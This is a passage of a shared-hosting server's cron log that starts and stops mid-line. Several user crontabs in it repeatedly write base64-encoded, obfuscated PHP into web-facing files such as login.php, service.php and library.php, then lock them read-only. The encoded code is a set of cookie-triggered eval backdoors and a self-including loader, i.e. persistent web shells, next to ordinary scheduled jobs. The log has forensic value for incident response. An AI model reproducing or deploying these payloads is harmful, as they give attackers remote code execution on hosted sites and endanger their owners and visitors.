yOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:31:01 medusa CROND[32349]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:31:01 medusa CROND[32350]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:31:01 medusa CROND[32351]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:31:01 medusa CROND[32354]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:31:01 medusa CROND[32355]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:31:01 medusa CROND[32353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:32:01 medusa CROND[4599]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:32:01 medusa CROND[4600]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:32:01 medusa CROND[4601]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:32:01 medusa CROND[4603]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:32:01 medusa CROND[4602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:32:01 medusa CROND[4604]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 22:32:01 medusa CROND[4605]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:32:01 medusa CROND[4610]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:32:01 medusa CROND[4611]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:32:01 medusa CROND[4613]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:32:01 medusa CROND[4612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:32:01 medusa CROND[4614]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:32:01 medusa CROND[4616]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:33:01 medusa CROND[10652]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 22:33:01 medusa CROND[10734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:33:01 medusa CROND[10735]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:33:01 medusa CROND[10736]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:33:01 medusa CROND[10737]: (flowqa) CMD (cd /home2/flowqa/public_html/kanboard && ./cli cronjob >/dev/null 2>&1)
Mar  1 22:33:01 medusa CROND[10738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:33:01 medusa CROND[10739]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:33:01 medusa CROND[10744]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:33:01 medusa CROND[10747]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:33:01 medusa CROND[10746]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAk